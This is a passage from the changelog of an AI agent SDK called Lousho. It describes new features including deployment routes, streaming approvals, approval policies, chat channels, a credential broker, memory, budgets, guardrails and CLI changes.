`fs/*` and `terminal/*` methods, images, audio and embedded resources, `plan` and thought chunks. See docs/acp.md.
* Agent directories deploy and serve with their schedules and channels: `lousho build <agent-dir> --target=node-server` (and `docker`; the path may also be `--agent`) builds a directory into a server whose entry calls `resolveAgentDir()` and `createDeployedServer(agent, { schedules, channels })`, so the deployed process starts the `schedules/` and mounts the `channels/` under `/channels` and logs which it found. The code files are pre-bundled by the existing tsup step into `dist/agent/**.js` (one ESM build sharing one SDK copy; `dist/` is marked ESM) and the rest of the directory is copied, so nothing needs a TypeScript loader at run time; spec builds are unchanged. `lousho dev <agent-dir>` mounts the directory's channels and starts its schedules, swapping both on hot reload (old schedules stopped first); `--no-schedules` starts none. The deploy runtime also exports `createAgent`, `resolveAgentDir` and `storeFromEnv`. The Cloudflare Worker target is unchanged (P9). See docs/agent-directories.md#deploy-it-with-lousho-build.
* Route handler: `createRouteHandler(agent, { basePath?, auth?, uiMessageStream? })` returns `{ GET, POST, handler }`, Fetch handlers (`(request: Request) => Promise<Response>`) that serve the deployed session API under `basePath` (default `/api/agent`; trailing slash accepted, other paths 404) from a Next.js App Router `app/api/agent/[[...path]]/route.ts`, SvelteKit `+server.ts`, Hono or Bun.serve, with no framework or `node:*` import. `auth` is a bearer token or a `(request) => boolean | Promise<boolean>` (default none: a public route needs one; `GET /health` stays open). `useLoushoAgent({ url, approvalsUrl })` works against it (`POST <basePath>` with `{ input, sessionId? }`, `POST <basePath>/approvals/:id`), and `uiMessageStream: true` adds `POST <basePath>/ui` for `useChat`. `hasBearerToken` in `src/server/fetchRoutes.ts` is now exported for it. See docs/nextjs.md.
* AI SDK UI stream: `toUIMessageStream(run)` maps a run's events to the Vercel AI SDK's UI message stream chunks (`start`, `start-step`, `text-start` / `text-delta` / `text-end`, `tool-input-start` / `tool-input-available` / `tool-output-available` / `tool-output-error`, `finish-step`, `error`, `finish` with the AI SDK finish reason), and `toUIMessageStreamResponse(run, init?)` returns the SSE `Response` (`data: [DONE]`, header `x-vercel-ai-ui-message-stream: v1`) for a route handler, so `useChat` can render a Lousho run. An approval pause or `ask_question` is a `data-lousho-approval` part (`approvalId`, `toolCallId`, `toolName`, `input`, `kind?`, `question?`); usage and the run's own finish reason are in the `finish` chunk's `messageMetadata`. `fromUIMessages(messages, { lastUserOnly? })` converts the `UIMessage[]` `useChat` posts (text, image and file parts; others ignored) to an `AgentInput`. Own structural chunk types (`LoushoUIMessageChunk`, `UIMessageLike`, ...), no `ai` import and no `node:*`, so it also runs on Workers; exported from the package root (a dedicated subpath can follow). See docs/ai-sdk-ui.md.
* Approval policies: a `needsApproval` function may return (or resolve to) `'approve'`, `'deny'`, `'ask'` or `{ deny: reason }` besides a boolean (`true` is `'ask'`, `false` is `'approve'`; new type `ApprovalOutcome`), and gets a second argument `{ toolName, toolCallId, sessionId?, messages }` (new type `ApprovalCheckContext`). A deny does not pause: the call is not run, the model gets a `kind: 'denied'` tool error with the reason, streams see `tool.error`, and `onPermissionDecision` / `permission.decision` record `decision: 'deny'` with the new `reason` field (no `rule`); the audit entry is now reported once the call is decided (after tool guardrails) instead of before them. New helpers `always()`, `never()` and `once({ per?: 'tool' | 'args' })` (with type `ApprovalPolicy`): `once()` asks the first time a tool is called in a session and runs later calls once a human approved one (a rejection is not remembered; `per: 'args'` keys on the arguments' hash). The memory is the approved call's `tool` message (`metadata.approval`, set by `resumeAfterApproval()` and its streamed form), so it persists with sessions, checkpoints and approval snapshots and survives a resume in another process. A `permissions` `deny` rule wins; an `allow` or `ask` rule replaces the tool's ask but not its deny (see Changed); the tool's outcome applies when no rule matches. Existing boolean functions type-check and behave as before; a test asserting `needsApproval` was called with exactly one argument now sees the context too. See docs/approvals.md#approve-deny-or-ask.
* Approval continuations stream live: `POST /chat/:sessionId/approvals/:id` (node server, Cloudflare Worker, `lousho dev`) now streams the continuation from `agent.approvals.streamResolve()` / `streamAnswer()` instead of replaying it after the turn ends; `createAgentRunner`'s `approve()` / `reject()` / `answer()` (React, Vue, Svelte) read that SSE stream event by event (an `ApprovalOutcome` JSON from an older server still works), and `lousho chat` prints the continuation as it streams. The UI reducer maps a streamed `tool.error` named `ToolRejectedError` to a `rejected` tool call. A second pause arrives as `approval.requested`. The approvals route has always answered with SSE, so no client opt-in was added.
* `session.compact()` and `session.clear()`: `await session.compact({ strategy?, protectedTokens?, contextWindow?, signal? })` compacts the session's transcript now, whatever its size, with the given strategy, else `agent.session({ compaction })` (new option, the value of `createAgent({ compaction })`), else by pruning old tool results; it saves the result through the session's store and resolves to `{ messagesBefore, messagesAfter, tokensBefore, tokensAfter, strategy, error? }`. `clear()` (which already existed and forgot the conversation) now emits `context.cleared` (new `ContextClearedEvent` in the `AgentEvent` union) and rejects with `LOUSHO_SESSION_AWAITING_APPROVAL` when a durable turn waits on an approval; it keeps the session id. New `session.on(listener)` receives `compaction.start` / `compaction.done` (which gain an optional `trigger: 'manual'`) and `context.cleared`. Both reject with the new `LOUSHO_SESSION_BUSY` while a turn is in flight; `compact()` also with `LOUSHO_SESSION_TURN_PENDING` for an interrupted durable turn. `lousho chat` gains `/compact` and `/clear`. See docs/compaction.md#compacting-a-session.
* Discord channel: `discordChannel({ publicKey, applicationId, botToken?, name?, fetch? })` serves Discord's HTTP Interactions endpoint through `mountChannels()` (Web Crypto and `fetch` only, Worker-safe, no gateway, no new dependency). It verifies `X-Signature-Ed25519` / `X-Signature-Timestamp` (Ed25519 over `timestamp + body`, 401 otherwise) and answers `PING` with `PONG`. A slash command (`/ask prompt:<text>`) is acknowledged at once with a deferred response; its session is keyed on guild + channel (+ thread), and the reply edits the original response, with text over 2000 characters continued in follow-up messages. A tool approval is posted with Approve / Deny buttons and resolved by the click; an `ask_question` is answered by the next `/ask` in the channel. See docs/channels.md#discord.
* Streaming resume after an approval: `streamResumeAfterApproval(decision, approvalStore, toolRegistry, provider, options?, checkpointStore?)` takes `resumeAfterApproval()`'s arguments and returns an `AgentRun` whose `result` is what `resumeAfterApproval()` returns. Its events are `run.start`, the decided call's `tool.start` / `tool.done` (`tool.error` for a rejection), then the continuation's events as in a fresh `stream()` run; a further pause ends it with `approval.requested`. Abort, `enqueue()` and `steer()` work as on any run, and the approval can be resolved in another process. `createAgent()` agents get `agent.approvals.streamResolve(decision, { signal })` and `streamAnswer({ id, answer }, { signal })` (a pause made in a session continues in it, `run.done` after the transcript is saved; a dynamic agent keeps the model the paused run used). Also new: the `ResumeRequest` type and `resumeRequest(request)` (`resumeAfterApproval()` with one object argument). Additive: `resolve()`, `answer()` and `resumeAfterApproval()` are unchanged. See docs/streaming.md#streaming-after-an-approval.
* Credential broker: `createCredentialBroker({ rules, allow?, allowPrivate?, port?, host?, pathFormScheme? })` starts a host-side HTTP forward proxy (Node-only, on an ephemeral `127.0.0.1` port by default) and resolves to `{ url, env, baseUrl(host), close() }`. `rules` map a host (exact or `*.suffix`) to headers to inject, as strings or per-request functions, so a command the model runs can call an authenticated API without the token entering its environment: pass `broker.env` (`HTTP_PROXY`/`HTTPS_PROXY`/`NO_PROXY`, both cases) to `NodeWorkspace` or `SandboxShell`'s `env`. Hosts outside the rules and `allow` get a 403 without a connection; hosts resolving to loopback, link-local or private addresses are refused unless in `allowPrivate`; a client `Authorization` header for a brokered host is replaced; hop-by-hop headers are dropped. Injection covers plain-HTTP requests and the `/__broker/<host>/<path>` form (forwarded to `https://<host>/<path>`, returned by `baseUrl(host)`); HTTPS `CONNECT` tunnels are allowlist-checked and passed through untouched (no TLS interception). `SubprocessSandbox`'s `network: { allow }` still fails closed: routing containers through the broker is a separate follow-up. New types `CredentialBroker`, `CredentialBrokerOptions`, `BrokerHeaderValue`. See docs/workspace-tools.md#credential-broker.
* Memory in agent directories: `memory/*.ts|js|mjs` files default-export a memory slot (`defineMemory()`, or the same options without a `name`; name = file name unless set). Unlike schedules and channels they are part of the agent: `loadAgentDir()` passes them to `createAgent({ memory })`, `resolveAgentDir()` lists them in `manifest.memory`, and a `memory` override is merged by name (the override wins a clash). A bad file fails with the new `LOUSHO_MEMORY_INVALID` naming the file. A directory without `memory/` is unchanged. See docs/agent-directories.md#memory.
* Channels in agent directories: `channels/*.ts|js|mjs` files default-export a channel (`defineChannel()` or a built-in factory; name = file name unless set); `resolveAgentDir()` returns them as `channels` and `manifest.channels`, and a file that exports no channel fails with the new `LOUSHO_CHANNEL_INVALID` naming the file. `createDeployedServer(agent, { channels })` mounts them under `/channels` next to the chat routes. `loadSchedules()` and `loadChannels()` share one loader (schedule files that do not export a schedule now throw an `SDKError` with `LOUSHO_SCHEDULE_INVALID`, same message). `lousho dev` and the Cloudflare Worker target do not mount them yet. See docs/agent-directories.md#channels.
* `serveMcp` annotations: `defineTool({ annotations })` (`readOnlyHint`, `destructiveHint`, `idempotentHint`, `openWorldHint`, `title`; stored as `metadata.mcp.annotations`) is sent in `tools/list` verbatim, and a tool with `needsApproval` is advertised `readOnlyHint: false, destructiveHint: true` (never read-only). An unannotated tool sends none. A Lousho agent consuming the server therefore runs read-only tools without an approval pause, pauses for `needsApproval` ones and keeps asking for unannotated ones. The built-in `read_file`, `list_dir`, `glob`, `grep`, `todo_read`, `current_date` and `day_name` tools are marked read-only. See docs/configuration.md#annotations.
* Svelte store: new `@lousho/build-ai-agent/svelte` subpath with `loushoAgent(source, options?)`. It returns a Svelte store (`subscribe(run) => unsubscribe`, so `$agent` works in Svelte 4 and 5) whose value is the same state as the React hook and the Vue composable (`messages`, `status`, `pendingApproval`, `error`, `usage`, `lastEvent`), plus `send()`, `stop()`, `approve()`, `reject()`, `answer()` and `reset()`. The run in flight is aborted by `stop()` and when the last subscriber unsubscribes. The store contract is implemented by hand: the entry imports nothing from `svelte`, so there is no new peer dependency. See docs/svelte.md.
* Per-run dynamic config: `createAgent()`'s `model`, `instructions` / `prompt` and `tools` each also take a function of the run, `(ctx) => value | Promise<value>` (new types `PerRun<T>` and `RunConfigContext` = `{ sessionId?, input, metadata? }`), resolved once at the start of each run and of each session turn, before the first model call. `fallbackModels`, `retry`, `projectInstructions`, memory, MCP tools, sub-agents, permissions, approvals and guardrails apply to the resolved values; a dynamic agent used as a sub-agent resolves with the task prompt as `input`. `session.send()` / `session.stream()` gain the `metadata` option (`send()` / `stream()` already had it, and now pass it to these functions too). A function that throws fails the run with the new `LOUSHO_CONFIG_RESOLVER_FAILED` (`field` names the option, `cause` is the error); a session keeps its transcript. A run paused for approval stores its `ctx` and resolved model in the approval snapshot (`agent.metadata.loushoRunConfig`): resuming it uses that model and re-resolves the tools with the same `ctx`; a crash resume from a checkpoint resolves with `input: []`. Static options behave and type as before. `SessionRunner` / `SessionStreamRunner` take an optional fourth `call` argument (new type `SessionTurnCall`). See docs/api-overview\.md#dynamic-config.
* Vue composable: new `@lousho/build-ai-agent/vue` subpath with `useLoushoAgent(source, options?)` for Vue 3. It takes the same sources and options as the React hook (either may be a `ref`, read when a turn starts) and returns `messages`, `status`, `pendingApproval`, `error`, `usage` and `lastEvent` as read-only refs, plus `send()`, `stop()`, `approve()`, `reject()`, `answer()` and a new `reset()` (aborts, forgets the in-process session, clears the chat). The run in flight is aborted by `stop()` and when the owning scope is disposed (`onScopeDispose`: component unmount, `effectScope().stop()`). `vue` (`^3`) is an optional peer dependency, loaded by no other entry. To share the logic, the reducer and the stream parser moved from `src/react/` to a framework-neutral `src/ui/`, together with the run logic extracted from the React hook (`createAgentRunner()`); the `./react` exports are unchanged, and the reducer gains an additive `ui.reset` action. See docs/vue.md.
* One flag parser for the `lousho` CLI: every command (`dev`, `chat`, `eval`, `build`, `mcp`, `doctor`, `studio`; `init` already did) parses its flags with `node:util` `parseArgs` in strict mode through `src/cli/args.ts`. `--flag value` and `--flag=value` work everywhere, `--` ends the flags, `-h` / `--help` prints the usage and exits 0, and an unknown flag, a flag without its value or an extra argument fails with `LOUSHO_CONFIG_INVALID` and the command's usage as the hint. **Behaviour change (migration):** `dev`, `studio`, `mcp`, `build` and `doctor` used to ignore unknown flags, and a flag missing its value could take the next flag or a prefix match (`--portx 1` read as `--port`); they now fail with exit 1 and the usage line, so remove typos from scripts. A value that starts with `-` must be written `--flag=-x` (a bare `--flag -x` is a missing value); `--port` must be an integer from 0 to 65535 for `dev`, `studio` and `mcp`; `dev`, `mcp` and `doctor` reject a second path; `studio --prod --dev` is rejected instead of preferring `--prod`. `lousho dev` and `lousho studio` parsing moved from `bin/lousho.js` into `src/cli/dev.ts` / `src/cli/studio.ts` (`parseDevArgs`, `runDev`, `parseStudioArgs`, `runStudio`). See docs/cli.md.
* `sqliteMemory(store, { maxItems? })` (exported from `@lousho/build-ai-agent/sqlite`) keeps `defineMemory` slots in the agent's `SqliteStore` file: a new `memory_items` table (migration 3, one JSON array per scope key, with the same serialization, `maxItems` and query rules as `fileMemory`). An existing database gains the table on open and keeps its sessions and checkpoints. The memory provider contract tests now run against the in-memory, file and SQLite providers. See docs/memory.md#sqlite.
* Slack channel: `slackChannel({ signingSecret, botToken, name?, fetch? })` (new export, with types `SlackChannelOptions`, `SlackChannelEvent`, `SlackThread`) serves a Slack app's Events API and interactivity requests through `mountChannels()`. It verifies the `v0` request signature with Web Crypto (no `node:*` import; the timestamp and header checks are shared with `verifySlackSignature()`), answers the `url_verification` challenge, and acknowledges every request before the turn runs. Each Slack thread is one session (team + channel + thread root `ts`): a mention starts or continues it, and later messages in a thread the bot was mentioned in continue it. Retries (`X-Slack-Retry-Num`) and bot messages are skipped. Replies go to the thread with `chat.postMessage` over `fetch`; a tool approval is posted as Approve / Deny buttons whose click resumes the session, and an `ask_question` as text answered by the next thread message. The channel contract gains two additive hooks for this: `parse(req, respond)` may call `respond` to answer the request before the turn runs, and may return `{ decision }` (new type `ChannelDecision`; `ChannelApprovalDecision` now lives in `defineChannel.ts`, same public export) to resolve a pause instead of starting a turn. See docs/channels.md#slack.
* Remote sub-agents: `remoteAgent({ url, auth?, name?, description?, headers?, fetch? })` (new export, with types `RemoteAgentOptions` and `RemoteSubagent`) makes a deployed agent usable wherever a local sub-agent is: in `createAgent({ subagents })` records and `SubagentCatalog.resolve()`, delegated to by the `task` tool and by `background: true` tasks. Each task opens a fresh session on the remote agent over `POST <url>/chat` (bearer `auth`: a string or a function, called per task), reads the SSE stream to the end and returns the remote agent's final text; the lead run's abort signal aborts the request. Failures (network, 401 or other non-2xx, malformed stream, remote run error) are structured tool errors with the new code `LOUSHO_REMOTE_AGENT_FAILED`, and the token never appears in errors or events; a remote run that pauses for approval fails with `LOUSHO_SESSION_AWAITING_APPROVAL` naming the remote session (proxying approvals is a follow-up). Worker-safe (`fetch` only). See docs/sub-agents.md#remote-sub-agents.
* Eval against a deployed agent: `lousho eval --url <baseUrl> [--token <bearer>]` (token also from `LOUSHO_EVAL_TOKEN`) runs every case of the trajectory eval files against a deployment (node server or Cloudflare Worker) instead of the in-process agent: one remote session per case over `POST /chat { sessionId, input }`, the SSE stream read to `run.done` and turned into the usual result (tool calls, reply, finish reason, steps, usage), so checks, scorers, `t.judge()`, the summary and `--junit` work unchanged. A check that needs data the stream lacks (`maxTokens` without usage) fails and names what is missing. Programmatic equivalent: `defineEval({ target: remoteTarget({ url, auth?, fetch? }) })` (new `remoteTarget()`, `EvalTarget`; `agent` is now optional when a `target` is given, and `AgentSource` also accepts any `{ send() }`). `--url` with `--record` / `--replay` / `--drift` is rejected with `LOUSHO_CONFIG_CONFLICTING_OPTIONS`; an unreachable deployment, a non-2xx answer or a truncated stream fails the case with the new `LOUSHO_REMOTE_REQUEST_FAILED`, and 401 with `LOUSHO_REMOTE_UNAUTHORIZED`. The token never reaches output or reports. See docs/evals.md#run-evals-against-a-deployment.
* Schedules: `defineSchedule({ cron, timezone?, name?, prompt | run })` declares a cron schedule (a `prompt` sent to the agent as a new turn, or `run({ agent, firedAt, name })`); an invalid cron expression, or not exactly one of `prompt`/`run`, throws the new `LOUSHO_SCHEDULE_INVALID` at definition time. An agent directory's `schedules/*.ts|js|mjs` files default-export one each (name = file name unless set); `resolveAgentDir()` returns them as `schedules` and `manifest.schedules`. `startSchedules(agent, schedules, { now?, setTimer?, onError? })` runs them with injectable clock and timers, isolates errors, skips a fire while the previous one runs and returns `stop()`; `createDeployedServer(agent, { schedules })` starts them on listen and stops them on close. The Cloudflare Worker target is not covered yet. See docs/schedules.md.
* Channels: `defineChannel({ name, verify?, parse, reply, onApproval?, sessionId?, stream? })` describes one surface: `verify` authenticates a request (`false` or `{ ok: false }` answers 401), `parse` maps it to `{ sessionKey, input, metadata?, replyTo }` (or `null` to acknowledge it without a turn), `reply` delivers the agent's reply (with `stream: true`, also partial text as the model writes) and `onApproval` renders a pause (default: a text prompt through `reply`). `mountChannels(agent, channels, { store, basePath })` returns a framework-free `(req, res)` handler, in the style of the `/chat` routes, that serves `POST <basePath>/<name>` (verify -> parse -> a turn in session `` `${name}:${sessionKey}` `` -> reply; turns of one session run one at a time) and `POST <basePath>/<name>/approvals/<id>` (`{ approved, note? }` or `{ answer }`); `handler.resolveApproval()` decides a pause from code (e.g. a button callback) and replies through the same channel. Built in: `httpChannel()` (JSON `{ sessionKey, input }` in, `{ sessionId, text, finishReason, approval? }` out) and `webhookChannel({ secret })` (`WebhookTriggerAdapter`'s behaviour; the adapter now delegates its auth and parsing to it, unchanged for callers). Slack and Discord channels are separate follow-ups. See docs/channels.md.
* Cloudflare Worker parity: the `cloudflare-worker` target now serves the same API as the node server: `POST /chat { sessionId, input }` streamed as SSE, history per session, `GET /chat/:sessionId`, `POST /chat/:sessionId/approvals/:id` and `GET /health`; the deprecated `POST /chat { message, sessionId? }` still works and still checkpoints under `sessionId`. `LOUSHO_API_TOKEN` (a Worker secret: `wrangler secret put LOUSHO_API_TOKEN`) makes every route except `/health` require `Authorization: Bearer <token>` (constant-time compare). New `KVStore(kvBinding, { prefix?, ttl? })` (`src/deploy/kvStore.ts`) is an `AgentStore` on a Workers KV namespace: `sessions/<id>` (transcript JSON, bytes as `{ "$bytes" }`), `checkpoints/<id>` (`KVCheckpointStore`, which gains an optional TTL) and `approvals/<id>`, with optional per-kind TTLs; the Worker builds it from the existing `AGENT_CHECKPOINTS` binding, and keeps sessions in the isolate's memory without one. An approval paused on one request can be decided by another request on a new isolate. The routes are now Fetch-native (`src/server/fetchRoutes.ts`: `Request` in, `Response` and a `ReadableStream` SSE body out, bearer auth with Web Crypto); `src/server/chatRoutes.ts` adapts them to `node:http` for `lousho dev` and the node server, and `src/server/bearerAuth.ts` is gone. The built Worker runs a `createAgent()` agent, so the build swaps its Node-only imports for `src/deploy/shims/node.worker.ts`, and the `node:` leak check now also catches bare builtin specifiers; the bundle grows to about 1.7 MB. The generated `wrangler.toml` documents the KV binding and both secrets. The `wrangler dev` test now streams a session turn through workerd with a KV binding and a token. See docs/deployment.md#bindings-sessions-and-the-api-on-workers.
* Steering: `run.steer(input)` on `AgentRun` (from `agent.stream()`, `session.stream()` and `AgentExecutor.stream()`), and `InputQueue.steer(input)` for non-streaming callers, redirect a running run to new user input. If a model call is in flight and has not emitted text or tool calls yet, it is aborted with a per-call signal (not the run's), its partial output is discarded, the input is appended as a user message and the model is called again (`applied: 'immediate'`; that step ends with `step.done` `'steered'` and counts toward `maxSteps`; a provider that ignores the signal is not waited for). Once the model has emitted output, the input waits for the next safe point like `enqueue()` (`'queued'`); after the run has finished, `applied` is `false`. Tool calls already running finish and keep their results; calls of that turn not started yet get the usual "cancelled before it ran" result. It returns `{ id, applied, joined }` (new type `SteerResult`; `joined` is a promise of whether the input reached the transcript). New event `input.steered` `{ id, text, mode: 'immediate' | 'queued' }` (`InputSteeredEvent`, additive, schema v1), followed by the existing `input.applied`. With checkpointing, the input is checkpointed when it is taken, before the model is called again, and the discarded partial turn is never checkpointed. `agent.session({ turnPolicy: 'steer' })` makes a `send()` / `stream()` made while a turn runs steer that turn (`'queue'` and `'wait'` are unchanged). `AgentRun` gains the required `steer()` member, so a hand-written `AgentRun` object must add it. See docs/streaming.md#steering and docs/sessions.md.
* `ai` v6/v7 `stream()`: the built-in providers' `stream()` (and so `agent.stream()`) now works on `ai` v6 and v7 as well as v4, through a compatibility layer (`streamCompat()`): the request is mapped as for `generate()`, and either major's `fullStream` is read into the same `StreamChunk`s: text deltas, tool calls (the whole call, or one assembled from `tool-input-start`/`-delta`/`-end` when the model sends none), and a `finish` chunk with the finish reason and usage, including cached and reasoning tokens. An `error` part now rejects the stream with its error on both majors (on v4 the step used to end with finish reason `error` and the partial text), an `abort` part with the signal's reason; reasoning deltas are dropped until a reasoning chunk type exists. `StreamChunk`/`StreamResult` are unchanged. The protected `AiSdkProvider.convertMessages()` now returns our structural `AiSdkMessage[]` instead of `ai` v4's `CoreMessage[]` (which v6/v7 do not export) and is marked deprecated; an override returning `CoreMessage[]` still compiles. The `ai`/`@ai-sdk/*` peer ranges still name v4. Tested on the real `ai` v7 (`MockLanguageModelV4`), with `agent.stream()` events asserted by one helper on v4 and v7. See docs/providers.md#vercel-ai-sdk-versions.
* `spec.policy` is enforced: `specToAgent()` compiles the policy block into `createAgent()` options through the new `compilePolicy()`. `requiresApproval` (`true` or a list of tool names) becomes `permissions: [ask(...)]`; `guardrails` (`max-length`, `secret-scan`, `regex`, `deny-topics`, `llm-judge`, by name or `{ name, ...options, on }`) become input and output guardrails; `limits`, `askQuestion` and `compaction` pass through. `loadSpec()` validates the known fields (an unknown guardrail name fails with the names available and a did-you-mean; unknown policy keys are still kept for the generators), and `lousho doctor <spec>` prints one line per policy block and flags unknown guardrail names. **Behaviour change:** `requiresApproval: true` now actually pauses tool calls (`finishReason: 'awaiting-approval'`); before, a spec that set it ran its tools without asking, and a spec with a guardrail name outside the built-ins (for example `diff-size-cap`) now fails validation. See docs/configuration.md#policy-policy.
* `ai` v6/v7 `generate()`: the built-in providers' `generate()` now works on `ai` v6 and v7 as well as v4, through a compatibility layer that detects the installed major (v5+ exports `stepCountIs`). On v6/v7 it sends messages as `ModelMessage`s (tool calls with `input`, tool results as `output`, `mediaType`), `maxTokens` as `maxOutputTokens`, one step as `stopWhen: stepCountIs(1)`, tools as `inputSchema` without `execute` and `responseFormat` as a JSON-mode `output`, and reads usage from `inputTokens`/`outputTokens`/`totalTokens` (cached and reasoning tokens from their details) into the same `GenerateResult`. `LLMProvider`, `GenerateOptions` and `GenerateResult` are unchanged, and v4 behaves as before. `stream()` on v6/v7 throws an error until that is supported; the `ai` and `@ai-sdk/*` peer ranges still name v4. Tested against the real `ai` v7 (`MockLanguageModelV4`) next to the v4 contract tests. See docs/providers.md#vercel-ai-sdk-versions.
* Queued follow-up input: `run.enqueue(input)` on `AgentRun` (from `agent.stream()`, `session.stream()` and `AgentExecutor.stream()`) adds user input to a run that is still going; it joins the transcript at the next safe point (after the current step's tool results, before the next model call) and the run continues as if the user had typed it, with one more step when it arrives during the final reply. It returns `{ id, applied }`: `applied` is `false` when the run had already finished (send the input as a new turn, e.g. `session.send()`), otherwise a promise of whether it was applied. New events `input.queued` `{ id, text }` and `input.applied` `{ id, step }` (additive, schema v1). Non-streaming callers pass an `InputQueue` (new export) as `ExecuteOptions.inputQueue` and call its `push(input)`. With checkpointing, a waiting input is saved right away at the end of the checkpoint (the queued-input slot), so a crash does not lose it. `agent.session({ turnPolicy: 'queue' })` makes a `send()` / `stream()` made while a turn runs (or waits to start) join that turn instead of waiting for its own (`'wait'`, the default, keeps today's behaviour). `AgentRun` gains the required `enqueue()` member, so a hand-written `AgentRun` object must add it. Steering (aborting the in-flight model call to redirect) is a separate follow-up. See docs/streaming.md#queued-input and docs/sessions.md.
* Input and output guardrails: `guardrails?: { input?, output?, tools?, onTripped? }` on `createAgent()` and `ExecuteOptions` (new type `AgentGuardrails`). A guardrail is `{ name, check(ctx) }` (new type `IoGuardrail`; `ctx` is `{ kind: 'input' | 'output' | 'tool', text, messages, toolName?, args?, signal? }`) returning `{ ok: true }` or `{ ok: false, reason, action?: 'block' | 'rewrite', replacement? }`. Input guardrails run on each new user message before the first model call; output guardrails on the final reply (in a streamed run, on every step's text, before its `text.done`); tool guardrails on a call's arguments after the permission rules (skipped on `deny`) and before `needsApproval`. A block ends the run with the new `finishReason: 'guardrail'` and `result.guardrail` (`{ name, kind, reason, toolName? }`, new type `GuardrailTrip`), with no model call for an input block; `onTripped: 'throw'` rejects with the new `GuardrailError` (`LOUSHO_GUARDRAIL_TRIPPED`) instead. A rewrite replaces the text. `stream()` emits the new `guardrail.tripped` (before `run.done`) and `guardrail.rewrote` events. Sub-agents run their parent's guardrails, then their own. Built-ins: `maxLengthGuardrail({ maxChars })`, `regexGuardrail({ name, pattern?, action?, replacement? })` (defaults to the secret-scan patterns, now exported as `SECRET_PATTERNS`), `denyTopicsGuardrail({ topics })` and `llmJudgeGuardrail({ model, instruction })`. The patch guardrails (`runGuardrails()`, `secretScanGuardrail`, ...) are unchanged; the new types are named `IoGuardrail*` because `Guardrail` and `GuardrailResult` are theirs. `spec.policy.guardrails` in agent spec files is not wired yet. See docs/guardrails.md#input-and-output-guardrails.
* Deployed `/chat` upgrade: the `node-server` and `docker` targets (`dist/server.js`) now serve the `lousho dev` protocol: `POST /chat { sessionId, input }` streams the turn as SSE (`data: <AgentEvent JSON>`, then `event: done`) with history kept per session, `GET /chat/:sessionId`, `POST /chat/:sessionId/approvals/:id` (`{ approved, note? }` or `{ answer }`) and `GET /health`; the single-turn `POST /chat { message }` still works (now with a `Deprecation: true` header). The routes are one shared module, `src/server/chatRoutes.ts`, used by `lousho dev` and the deployed runtime. `LOUSHO_STORE` (`memory`, the default, or `sqlite:<path>`, Node >= 22) picks where sessions live. Bearer auth: set `LOUSHO_API_TOKEN` (or pass `{ auth: { token } }` as the new optional third argument of `adapter.scaffold()`; the variable wins) and every route except `/health` requires `Authorization: Bearer <token>` (constant-time compare, `401` JSON otherwise); treat it as required for anything not on localhost. The `docker` image is now based on `node:22-slim` (was `node:20-slim`) for `node:sqlite`. `specToAgent(spec, { store })` takes an optional `store`. The Cloudflare Worker target is unchanged (sessions over KV and SSE there are a separate follow-up). See docs/deployment.md#http-api.
* `lousho chat`: a terminal REPL for an agent. `lousho chat <spec|dir|module> [--model provider/model] [--session id] [--store sqlite:<file>]` loads the target like `lousho dev` and reads one turn per line through `agent.session({ id, store }).stream()`: text deltas as they arrive, each tool call as a dim `[tool_name] {args}` line followed by `  -> result`, `Approve <tool>(args)? [y/N]` for a tool that needs approval, a numbered prompt with free text for an `ask_question` call, and `[usage]` tokens and cost after each turn. Slash commands: `/new`, `/model <provider/model>` (rebuilds the agent, the session continues), `/history`, `/quit`. SDK errors print with their `[LOUSHO_...]` code and fix. The loop is `runChatRepl({ input, output, createAgent })` in `src/cli/chatRepl.ts` (testable with scripted lines and a `mockModel` agent); `loadTarget()` is now exported from `src/cli/devReload.ts`. See docs/cli.md#lousho-chat.
* Memory slots: `defineMemory({ name, description?, scope, provider, recall?, expose? })` (new export) defines a named long-term memory, and `createAgent({ memory: [slot] })` wires it in. On the first model call of every run (`send()`, `stream()`, each session turn), a `preGenerate` hook recalls the slot's newest `recall.maxItems` (default 10) items into the system prompt as a `<memory name="...">` block (`recall.query: 'last-input'` passes the last user message as the provider query; `recall.onSessionStart: false` turns recall off). The model gets `remember_<name>({ text })` and `recall_<name>({ query?, limit? })` tools (`expose: { remember?, recall? }`, both on by default). `scope` is `'global'`, `'session'` (keyed by `agent.session({ id })`'s id or `send()`'s `sessionId`) or a function of `{ sessionId, metadata }`; the new `SendOptions.metadata` feeds it. Providers implement `MemoryProvider` (`list` / `add` / `remove`); built in are `inMemoryMemory()` and `fileMemory({ dir })` (one JSON file per scope key), both bounded by `maxItems` (default 1000, oldest dropped). See docs/memory.md.
* Budgets: `limits?: { maxTokens?, maxInputTokens?, maxOutputTokens?, maxCostUsd?, maxDurationMs?, maxSteps?, onExceeded? }` on `createAgent()` and `ExecuteOptions` (new type `RunLimits`). Limits are checked before every model call (so after every tool batch) and after a model call that asks for tools, and `maxDurationMs` aborts an in-flight model or tool call through the run's signal. A tripped limit ends the run with the new `finishReason: 'budget-exceeded'` and `result.budget: { limit, value, max, scope }` (`BudgetExceeded`); tool calls of that step get a cancelled result and the run is checkpointed as finished, like `'max-steps'`. `stream()` emits the new typed `budget.exceeded` event (`BudgetExceededEvent`) before `run.done` (additive, the event schema version stays 1). `onExceeded: 'throw'` rejects with the new `BudgetExceededError` (`LOUSHO_BUDGET_EXCEEDED`, no longer reserved) instead. `limits.maxSteps` is an alias of `maxSteps` (the stricter wins; alone it replaces the default of 10). Sub-agents' usage counts toward their lead's budget. `agent.session({ id, limits })` applies limits across a session's turns: what the turns spent is saved as `metadata.sessionUsage` on the transcript's last message (new types `BudgetSpent`, `SessionBudget`, `SessionTurnOptions`; `ExecuteOptions.sessionBudget` carries it to the run), so `maxCostUsd` per session holds across processes. See docs/configuration.md#budgets.
* Stateful streaming dev chat: `lousho dev` serves one session per browser tab. `POST /chat` with `{ sessionId, input }` streams the turn as SSE (`data: <AgentEvent JSON>` per event, then `event: done`) through `agent.session({ id, store }).stream(input)` over an in-process `memoryStore()` (or the agent's own `store`, when a module's `createAgent()` options or `overrides` set one); `GET /chat/:sessionId` returns the transcript and the pending approval; `POST /chat/:sessionId/approvals/:id` with `{ approved, note? }` or `{ answer }` decides an approval or answers a question and streams the continuation (rebuilt from the continued run's result, since `agent.approvals.resolve()` is not streamed). The chat page renders text deltas, tool calls with arguments and results, Approve / Reject and question buttons, errors and `run.done` usage and cost, with a "New session" button and the id kept in `sessionStorage`. Sessions survive a hot reload and continue on the new agent. The `{ message }` body of `POST /chat` still works and is deprecated (no session, JSON `ExecutionResult`, `Deprecation: true` header). See docs/cli.md#lousho-dev and docs/streaming.md.
